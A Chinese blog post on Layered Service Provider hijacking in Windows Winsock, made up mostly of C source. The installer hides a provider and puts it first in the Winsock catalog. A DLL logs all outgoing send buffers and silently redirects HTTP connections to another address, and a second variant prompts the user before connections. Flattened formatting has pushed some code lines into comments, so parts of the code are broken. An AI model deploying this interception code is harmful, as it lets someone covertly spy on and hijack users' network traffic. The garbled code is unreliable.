LSP 简介:

分层服务提供商(Layered Service Provider,LSP)是一种可以扩展Winsock作为应用程序的 Windows 的网络套接字工具的机制。Winsock LSP 可用于非常广泛的实用用途,包括 Internet 家长控制 (parental control) 和 Web 内容筛选。在以前版本的 Windows XP 中,删除不正确的(也称为“buggy”)LSP 可能会导致注册表中的 Winsock 目录损坏,潜在的导致所有网络连接的丢失。 LSP就是TCP/IP等协议的接口.LSP用在正途上可以方便程序员们编写监视系统网络通讯情况的Sniffer,可是现在常见的LSP都被用于浏览器劫持。

“浏览器劫持” 或者 “分层服务提供程序”。某些间谍软件会修改Winsock 2的设置,进行LSP“浏览器劫持”,所有与网络交换的信息都要通过这些间谍软件,从而使得它们可以监控使用者的信息。著名的如New net插件或WebHancer组件,它们是安装一些软件时带来的你不想要的东西。

LSP 劫持(Layered Service Provider Hijacking):

是一种计算机安全漏洞和攻击技术,通常与Windows操作系统相关。它涉及到网络协议栈中的层式服务提供程序(Layered Service Provider,LSP),这些提供程序用于修改、监视或过滤网络流量。LSP劫持是指攻击者通过操纵LSP,以在网络通信中插入恶意代码或进行网络监听,从而捕获敏感信息或执行恶意操作。

应用程序通过 socket 进行网络通信时会调用 ws2_32.dll 的导出函数,比如 send/recv 等,而这些函数时通过更底层的 LSP 提供的 SPI(服务提供者接口)实现的。

如果有多个符合条件的 SPI,系统将会调用在 winsock 目录最前面的那个 。所以注册一个 SPI 并插入到 winsock 目录的最前面就可以劫持了。另外劫持 LSP 需要将代码卸载 DLL 里。

实现代码:

主程序:

#include <Ws2spi.h>
#include <Sporder.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Rpcrt4.lib") // LSP硬编码
GUID ProviderGuid = { 0xd3c21122, 0x85e1, 0x48f3, { 0x9a, 0xb6, 0x23, 0xd9, 0x0c, 0x73, 0x07, 0xef } }; LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
{
DWORD dwSize = 0;
int nError;
LPWSAPROTOCOL_INFOW pProtoInfo = NULL; if (::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
{
if (nError != WSAENOBUFS)return NULL;
} pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
*lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
return pProtoInfo;
} void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
{
::GlobalFree(pProtoInfo);
} BOOL InstallProvider(WCHAR *pwszPathName)
{ WCHAR wszLSPName[] = L"PhoenixLSP";
LPWSAPROTOCOL_INFOW pProtoInfo;
int nProtocols;
WSAPROTOCOL_INFOW OriginalProtocolInfo[3];
DWORD dwOrigCatalogId[3];
int nArrayCount = 0;
DWORD dwLayeredCatalogId; // 我们分层协议的目录ID号
int nError; // 找到我们的下层协议,将信息放入数组中
// 枚举所有服务程序提供者
pProtoInfo = GetProvider(&nProtocols);
BOOL bFindUdp = FALSE;
BOOL bFindTcp = FALSE;
BOOL bFindRaw = FALSE;
for (int i = 0; i < nProtocols; i++)
{
if (pProtoInfo[i].iAddressFamily == AF_INET)
{ if (!bFindUdp && pProtoInfo[i].iProtocol == IPPROTO_UDP)
{ memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
bFindUdp = TRUE;
} if (!bFindTcp && pProtoInfo[i].iProtocol == IPPROTO_TCP)
{
memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
bFindTcp = TRUE;
} if (!bFindRaw && pProtoInfo[i].iProtocol == IPPROTO_IP)
{
memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
bFindRaw = TRUE;
}
}
} // 安装我们的分层协议,获取一个dwLayeredCatalogId
// 随便找一个下层协议的结构复制过来即可
WSAPROTOCOL_INFOW LayeredProtocolInfo;
memcpy(&LayeredProtocolInfo, &OriginalProtocolInfo[0], sizeof(WSAPROTOCOL_INFOW));
// 修改协议名称,类型,设置PFL_HIDDEN标志
wcscpy(LayeredProtocolInfo.szProtocol, wszLSPName);
LayeredProtocolInfo.ProtocolChain.ChainLen = LAYERED_PROTOCOL; // 0;
LayeredProtocolInfo.dwProviderFlags |= PFL_HIDDEN; // 安装
//WSAEPROVIDERFAILEDINIT---------DLL导出函数需要导出WSPStartup
if (::WSCInstallProvider(&ProviderGuid,pwszPathName, &LayeredProtocolInfo, 1, &nError) == SOCKET_ERROR)
{
int a = GetLastError();
printf("WSCInstallProvider %d\n", a);
getchar();
getchar();
return FALSE;
} // 重新枚举协议,获取分层协议的目录ID号
FreeProvider(pProtoInfo);
pProtoInfo = GetProvider(&nProtocols);
for (int i = 0; i < nProtocols; i++)
{
if (memcmp(&pProtoInfo[i].ProviderId, &ProviderGuid, sizeof(ProviderGuid)) == 0)
{
dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
break;
}
} // 安装协议链
// 修改协议名称,类型
WCHAR wszChainName[WSAPROTOCOL_LEN + 1];
for (int i = 0; i < nArrayCount; i++)
{
swprintf(wszChainName, L"%ws over %ws", wszLSPName, OriginalProtocolInfo[i].szProtocol);
wcscpy(OriginalProtocolInfo[i].szProtocol, wszChainName);
if (OriginalProtocolInfo[i].ProtocolChain.ChainLen == 1)
{
OriginalProtocolInfo[i].ProtocolChain.ChainEntries[1] = dwOrigCatalogId[i];
}
else
{ for (int j = OriginalProtocolInfo[i].ProtocolChain.ChainLen; j > 0; j--)
{
OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j]= OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j - 1];
} }
OriginalProtocolInfo[i].ProtocolChain.ChainLen++;
OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId;
} // 获取一个Guid,安装之
GUID ProviderChainGuid;
if (::UuidCreate(&ProviderChainGuid) == RPC_S_OK)
{ if (WSCInstallProvider(&ProviderChainGuid,pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR)
{
printf("UuidCreate1\n");
return FALSE;
}
}
else
{
printf("UuidCreate2\n");
return FALSE;
} // 重新排序Winsock目录,将我们的协议链提前
// 重新枚举安装的协议
FreeProvider(pProtoInfo);
pProtoInfo = GetProvider(&nProtocols);
DWORD dwIds[20];
int nIndex = 0; // 添加我们的协议链 for (int i = 0; i < nProtocols; i++)
{
if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
} // 添加其它协议
for (int i = 0; i < nProtocols; i++)
{ if ((pProtoInfo[i].ProtocolChain.ChainLen <= 1) ||(pProtoInfo[i].ProtocolChain.ChainEntries[0] != dwLayeredCatalogId))
dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
} // 重新排序Winsock目录 if ((nError = ::WSCWriteProviderOrder(dwIds, nIndex)) != ERROR_SUCCESS)
{
printf("WSCWriteProviderOrder\n");
return FALSE;
} FreeProvider(pProtoInfo);
printf("OK\n");
return TRUE; } BOOL RemoveProvider()
{ LPWSAPROTOCOL_INFOW pProtoInfo;
int nProtocols;
DWORD dwLayeredCatalogId; // 根据Guid取得分层协议的目录ID号
pProtoInfo = GetProvider(&nProtocols);
int nError;
int i = 0;
for ( i = 0; i < nProtocols; i++)
{
if (memcmp(&ProviderGuid, &pProtoInfo[i].ProviderId, sizeof(ProviderGuid)) == 0)
{
dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
break;
}
} if (i < nProtocols)
{ // 移除协议链
for (i = 0; i < nProtocols; i++)
{
if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
{
WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError);
}
} // 移除分层协议
::WSCDeinstallProvider(&ProviderGuid, &nError);
}
return TRUE;
} void main(void)
{
//安装协议
TCHAR szPathName[256];
TCHAR* p;
if (::GetFullPathName(L"LSP.dll", 256, szPathName, &p) != 0)
{
if (InstallProvider(szPathName))
{
printf(" Install successully. \n");
}
} system("pause"); //移除协议
if (RemoveProvider())
printf(" Deinstall successully. \n");
else
printf(" Deinstall failed. \n"); system("pause");
return 0;
}

LSP.Dll

#include <Winsock2.h>
#include <Ws2spi.h>
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(lib, "Ws2_32.lib") WSPUPCALLTABLE g_pUpCallTable; // 上层函数列表。如果LSP创建了自己的伪句柄,才使用这个函数列表
WSPPROC_TABLE g_NextProcTable; // 下层函数列表
TCHAR g_szCurrentApp[MAX_PATH]; // 当前调用本DLL的程序的名称 BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH);
}
break;
}
return TRUE;
} LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
{ DWORD dwSize = 0;
int nError;
LPWSAPROTOCOL_INFOW pProtoInfo = NULL; // 取得需要的长度
if (WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
{
if (nError != WSAENOBUFS)return NULL;
} pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
*lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
return pProtoInfo; } void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
{
GlobalFree(pProtoInfo);
} int WSPAPI WSPSendTo(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
const struct sockaddr FAR * lpTo,
int iTolen,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
LPWSATHREADID lpThreadId,
LPINT lpErrno
) { OutputDebugString(g_szCurrentApp); // 拒绝所有目的端口为4567的UDP封包
SOCKADDR_IN sa = *(SOCKADDR_IN*)lpTo;
if (sa.sin_port == htons(4567))
{ int iError;
g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError);
*lpErrno = WSAECONNABORTED;
return SOCKET_ERROR;
}
return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpTo, iTolen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
} int WSPAPI WSPSend(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
LPWSATHREADID lpThreadId,
LPINT lpErrno
)
{ if (lpBuffers)
{
if (lpBuffers->len > 1 && lpBuffers->buf)
{
char szText[20480] = { 0 };
_snprintf_s(szText, sizeof(szText), ("当前数据:长度%d 数据%s\n"), lpBuffers->len, lpBuffers->buf);
OutputDebugStringA(szText);
}
} return g_NextProcTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
} int WSPAPI WSPConnect(
SOCKET s,
const struct sockaddr FAR* name,
int namelen,
LPWSABUF lpCallerData,
LPWSABUF lpCalleeData,
LPQOS lpSQOS,
LPQOS lpGQOS,
LPINT lpErrno
)
{ PSOCKADDR_IN paddrSrv = (SOCKADDR_IN*)name;
if (paddrSrv)
{
if (paddrSrv->sin_family==AF_INET)
{
if (ntohs(paddrSrv->sin_port)==80)
{
OutputDebugString(g_szCurrentApp); char szText[MAX_PATH] = { 0 };
_snprintf_s(szText, sizeof(szText), ("当前端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
OutputDebugStringA(szText); paddrSrv->sin_addr.S_un.S_addr = inet_addr("8.8.8.8");
_snprintf_s(szText, sizeof(szText), ("修改后端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
OutputDebugStringA(szText); }
}
} return g_NextProcTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
} int WSPAPI WSPStartup(
WORD wVersionRequested,
LPWSPDATA lpWSPData,
LPWSAPROTOCOL_INFO lpProtocolInfo,
WSPUPCALLTABLE UpcallTable,
LPWSPPROC_TABLE lpProcTable
) { OutputDebugString(g_szCurrentApp);
if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
{
return WSAEPROVIDERFAILEDINIT;
} // 保存向上调用的函数表指针(这里我们不使用它)
g_pUpCallTable = UpcallTable; // 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构
WSAPROTOCOL_INFOW NextProtocolInfo;
int nTotalProtos;
LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos); // 下层入口ID
int i = 0;
DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
for ( i = 0; i < nTotalProtos; i++)
{
if (pProtoInfo[i].dwCatalogEntryId == dwBaseEntryId)
{
memcpy(&NextProtocolInfo, &pProtoInfo[i], sizeof(NextProtocolInfo));
break;
}
} if (i >= nTotalProtos)
{
OutputDebugString(TEXT("WSPStartup: Can not find underlying protocol"));
return WSAEPROVIDERFAILEDINIT;
} // 加载下层协议的DLL
int nError;
TCHAR szBaseProviderDll[MAX_PATH];
int nLen = MAX_PATH; // 取得下层提供程序DLL路径
if (::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
{
OutputDebugString(TEXT("WSPStartup: WSCGetProviderPath() failed"));
return WSAEPROVIDERFAILEDINIT;
} if (!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
{
OutputDebugString(TEXT("WSPStartup: ExpandEnvironmentStrings() failed"));
return WSAEPROVIDERFAILEDINIT;
} // 加载下层提供程序 HMODULE hModule = ::LoadLibrary(szBaseProviderDll);
if (hModule == NULL)
{
//ODS1(L" WSPStartup: LoadLibrary() failed %d \n", ::GetLastError());
OutputDebugString(TEXT("WSPStartup: LoadLibrary() failed"));
return WSAEPROVIDERFAILEDINIT;
} // 导入下层提供程序的WSPStartup函数 LPWSPSTARTUP pfnWSPStartup = NULL;
pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup");
if (pfnWSPStartup == NULL)
{
//ODS1(L" WSPStartup: GetProcAddress() failed %d \n", ::GetLastError());
OutputDebugString(TEXT("WSPStartup: GetProcAddress() failed"));
return WSAEPROVIDERFAILEDINIT;
} // 调用下层提供程序的WSPStartup函数 LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
if (NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
pInfo = &NextProtocolInfo; int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
if (nRet != ERROR_SUCCESS)
{
OutputDebugString(TEXT(" WSPStartup: underlying provider's WSPStartup() failed"));
return nRet;
} // 保存下层提供者的函数表
g_NextProcTable = *lpProcTable; // 修改传递给上层的函数表,Hook感兴趣的函数,这里做为示例,仅Hook了WSPSendTo函数
// 您还可以Hook其它函数,如WSPSocket、WSPCloseSocket、WSPConnect等 //lpProcTable->lpWSPSendTo = WSPSendTo;
lpProcTable->lpWSPSend = WSPSend;
lpProcTable->lpWSPConnect = WSPConnect;
FreeProvider(pProtoInfo);
return nRet; }

DLL源码:

// 全局遍历
WCHAR exepath[MAX_PATH] = { 0 };
WSPPROC_TABLE trueTable = { 0 }; int GetProvider(LPWSAPROTOCOL_INFOW &pProtoInfo)
{
// 首次调用,pProtoInfo传入NULL,取得需要的缓冲区长度
DWORD dwSize = 0;
int nError = 0;
if (WSCEnumProtocols(NULL, NULL, &dwSize, &nError) == SOCKET_ERROR)
{
if (nError != WSAENOBUFS)
{
return 0;
}
}
// 申请足够缓冲区内存。
pProtoInfo = (LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR, dwSize);
if (pProtoInfo == NULL)
{
return 0;
}
//再次调用WSCEnumProtocols函数
return WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
} int WSPConnect(SOCKET s, const struct sockaddr FAR* name, int namelen,
LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS,
LPINT lpErrno)
{
SOCKADDR_IN addr = *(SOCKADDR_IN*)name;
if (addr.sin_port==htons(80))
{
MessageBoxW(0, L"有程序访问外网80端口", L"拒绝访问", 0);
return SOCKET_ERROR;
}
return trueTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
} int WSPAPI WSPStartup(
WORD wVersionRequested,
LPWSPDATA lpWSPData,
LPWSAPROTOCOL_INFOW lpProtocolInfo,
WSPUPCALLTABLE UpcallTable,
LPWSPPROC_TABLE lpProcTable
)
/*
当应用程序通过SOCKET创建socket时会调用系统根据Winsock目录和程序的需要来将对应的传输服务提供者,即
一个dll加载到目标进程中. 然后调用该dll提供的WSPStartup函数来初始化.初始化的
目的就是为了通过调用这个函数来获取该这次操作socket的API函数对应的SPI
这就是windows上写socket时之前必须通过WSAStartup来进行socket初始化的原因
该函数的lpProcTable 参数是个结构体,保存了所有的SPI函数.也就是可以从这个参数来获取SPI
所以只需导出这个函数,然后将其他的SPI填写到lpProcTable中,最后返回给程序
以上都是正常情况下的调用过程. 如果我们让系统加载我们给它提供的dll就可以导出该函数,并
hook掉lpProcTable中的成员进行监控. 但是我们hook该函数后允许的话应该最后要调用正常的SPI,
这时参数lpProtocolInfo就能派上用场. 通过该参数可以获取原来的协议的目录id,然后遍历winsock
目录找到对应的协议的传输服务提供者即一个dll路径,通过加载该dll并调用其中的WSPStartup即可获取
真正的SPI,然后调用它.最终可以实现监控,修改,拦截等功能
*/
{
//我们编写的DLL用于协议链中,所以如果是基础协议或分层协议使用则直接返回错误
if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
{
return WSAEPROVIDERFAILEDINIT;
}
WCHAR exename[100] = { 0 };
wsprintf(exename, L"应用程序: %ls 正在联网,是否允许?", exepath);
if (MessageBoxW(0,exename,L"温馨提示",MB_YESNO|MB_ICONWARNING)==IDNO)
{
MessageBoxW(0, L"已拦截", L"提示", 0);
return WSAEPROVIDERFAILEDINIT;
}
// 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构
WSAPROTOCOL_INFOW trueProtocolInfo; //保存真正的协议结构
LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
int allproto = GetProvider(pProtoInfo);
DWORD trueId = lpProtocolInfo->ProtocolChain.ChainEntries[1];//获取真正的协议目录id
int i;
//遍历查找真正的协议结构
for (i = 0; i < allproto; i++)
{
if (pProtoInfo[i].dwCatalogEntryId==trueId)
{
memcpy(&trueProtocolInfo, &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
break;
}
}
//没找到就返回失败
if (i>=allproto)
{
return WSAEPROVIDERFAILEDINIT;
}
int nError;
wchar_t szBaseProviderDll[MAX_PATH];//保存真正dll路径
int nLen = MAX_PATH;
// 取得下层提供程序DLL路径
if (WSCGetProviderPath(&trueProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
{
return WSAEPROVIDERFAILEDINIT;
}
//上面的函数执行后路径中会存在环境变量,通过下面展开环境变量
if (!ExpandEnvironmentStringsW(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
{
return WSAEPROVIDERFAILEDINIT;
} // 加载真正dll
HMODULE hModule = LoadLibraryW(szBaseProviderDll);
if (hModule == NULL)
{
return WSAEPROVIDERFAILEDINIT;
} // 导入真正dll的WSPStartup函数
LPWSPSTARTUP pfnWSPStartup = NULL;
pfnWSPStartup = (LPWSPSTARTUP)GetProcAddress(hModule, "WSPStartup");
if (pfnWSPStartup == NULL)
{
return WSAEPROVIDERFAILEDINIT;
} // 调用下层提供程序的WSPStartup函数以填充SPI地址表
LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
//
if (trueProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
{
pInfo = &trueProtocolInfo;
}
else
{
for (int j = 0; j<lpProtocolInfo->ProtocolChain.ChainLen; j++)
{
lpProtocolInfo->ProtocolChain.ChainEntries[j]
= lpProtocolInfo->ProtocolChain.ChainEntries[j + 1];
}
lpProtocolInfo->ProtocolChain.ChainLen--;
}
//调用真正的WSPStartup, 注意参数,协议结构参数必须是原来我们想劫持的那个协议结构
int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
if (nRet != ERROR_SUCCESS)
{
return nRet;
}
memcpy(&trueTable, lpProcTable, sizeof(WSPPROC_TABLE)); //保存到trueTable中以便调用
//进行api替换
lpProcTable->lpWSPConnect = (LPWSPCONNECT)WSPConnect; } BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
GetModuleFileNameW(0, exepath, MAX_PATH * sizeof(wchar_t));
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

主程序:

#include<Windows.h>
#include<locale.h>
#include<stdio.h>
#include<malloc.h>
#pragma comment(lib,"ws2_32.lib") GUID layerGuid; #define layerName L"freesec" DWORD findGuid()
{
//枚举winsock目录中的协议
LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
DWORD size = 0; //大小
DWORD num; //数量
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
int i;
for ( i= 0; i < num; i++)
{
if (lstrcmpW(info[i].szProtocol,layerName)==0)
{
memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));
break;
}
}
free(info);
if (i==num)//没找到
{
return 0;
}
return 1;
}
DWORD lspInject()
{
//枚举winsock目录中的协议
LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
DWORD size = 0; //大小
DWORD num; //数量
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
DWORD trueId; //存储被安装的提供者的目录id
if (num == SOCKET_ERROR)
{
free(info);
return 0;
} WCHAR supplier[] = layerName;
WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件
DWORD myId;
int proto = IPPROTO_TCP; //目标协议 WSAPROTOCOL_INFOW save = { 0 }; //用于存储指定协议的正常的提供者,最后用来作为分层协议和协议链的模板for (int i = 0; i < num; i++)
{//找符合条件的提供者,但不能是分层协议
if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0)
{
memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW)); //将原来的基础协议信息保存
save.dwServiceFlags1 &= ~XP1_IFS_HANDLES; //去掉XP1_IFS_HANDLES标志
trueId = info[i].dwCatalogEntryId;
break;
}
} //安装分层协议
WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分层协议
memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以这个保存的系统已有协议作为模板
lstrcpyW(Lpi.szProtocol, supplier); //协议名,其实就是一个代号而已,可以随意起名
Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL; //设置为分层协议
Lpi.dwProviderFlags |= PFL_HIDDEN; //?
GUID pguid; //分层协议的guid
UuidCreate(&pguid);
memcpy(&layerGuid,&pguid,sizeof(GUID));
if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR) //安装该分层协议
{
free(info);
return 0;
} //重新枚举协议以获取分层协议的目录id
free(info); //因为添加了一个分层协议,所以需要重新分配内存
DWORD layerId; //保存分层协议目录id
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
} for (int i = 0; i < num; i++) //遍历协议,直到找到刚才新增的分层协议
{
if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0)
{
layerId = info[i].dwCatalogEntryId; //获取分层协议目录id
}
} //安装协议链
WCHAR chainName[WSAPROTOCOL_LEN + 1]; //其实就是一个名字代号,和分层协议的名字一样
wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);
lstrcpyW(save.szProtocol, chainName); //改名字1
if (save.ProtocolChain.ChainLen == 1) //如果目标协议的正常提供者是基础协议则将其目录id放在协议链的第2个位置
{
save.ProtocolChain.ChainEntries[1] = trueId; //将id写入到该协议链的ChainEntries数组中,这个数组只有当它是协议链时才有意义
}
else //否则就是协议链提供者
{
for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是协议链则将该协议链中其他协议往后移,
//以便将自己的分层协议插入到链首.但是这个数组最大存7个,所以如果原来就占满了,理论上会挤掉最后一个
{
save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];
}
} save.ProtocolChain.ChainEntries[0] = layerId;
save.ProtocolChain.ChainLen++; //获取guid,安装协议链
GUID providerChainGuid;
UuidCreate(&providerChainGuid);
if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR)
{
free(info);
return 0;
} //重新枚举协议
free(info);
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
//遍历获取我们的协议链的目录id
DWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //这个是协议链的目录id数组,把我们的协议链id
//放在最前面,系统原来的按顺序放后面
DWORD cindex = 0;
for (int i = 0; i < num; i++)
{
if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId))
{
chainId[cindex] = info[i].dwCatalogEntryId;
cindex++;
}
}
for (int i = 0; i < num; i++)
{
if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId))
{
chainId[cindex] = info[i].dwCatalogEntryId;
cindex++;
}
} if (WSCWriteProviderOrder(chainId, cindex) != 0)
{
free(info);
free(chainId);
return 0;
} free(info);
free(chainId);
return 1; } DWORD uninstall()
{
if(findGuid()==0)
{
return 0;
}
//枚举winsock目录中的协议
LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
DWORD size = 0; //大小
DWORD num; //数量
DWORD Id;
DWORD result;
int cc;  //作为错误码,下面2个函数的错误码地址必须提供,否则会调用失败
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
int i = 0; for (i=0; i < num; i++)
{
if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0)
{
Id = info[i].dwCatalogEntryId;
}
}
if (i<=num)
{
for (i = 0; i < num; i++)
{
if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id))
{ if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR)
{ free(info);
return 0;
}
break;
}
}
  free(info);
if((result=WSCDeinstallProvider(&layerGuid, &cc))==SOCKET_ERROR)
{return 0;
}
}
else
{
     free(info);
return 0;
}return 1;
}
int main(int argc, char** argv)
{
setlocale(LC_ALL, "chs");
int result;
if (argc!=2)
{
printf("usage:%s install or uninstall\n", argv[0]);
return 0;
}
if (strcmp(argv[1],"install")==0)
{
if (lspInject())
{
printf("install success\n");
}
else
{
printf("install error code is %d\n", GetLastError());
}
}
else if(strcmp(argv[1], "uninstall") == 0)
{
if (uninstall())
{
printf("uninstall success\n");
}
else
{
printf("uninstall error code is %d\n", GetLastError());
}
} return 1; }

结语

待续…………有空再更新!!!

官方网站

www.CHWM.vip

LSP 网络劫持(Layered Service Provider Hijacking)的更多相关文章

  1. LSP“浏览器劫持概念

    关于Winsock LSP“浏览器劫持”,中招者一直高居不下,由于其特殊性,直接删除而不恢复LSP的正常状态很可能会导致无法上网所以对其修复需慎重.   先说说什么是Winsock LSP“浏览器劫持 ...

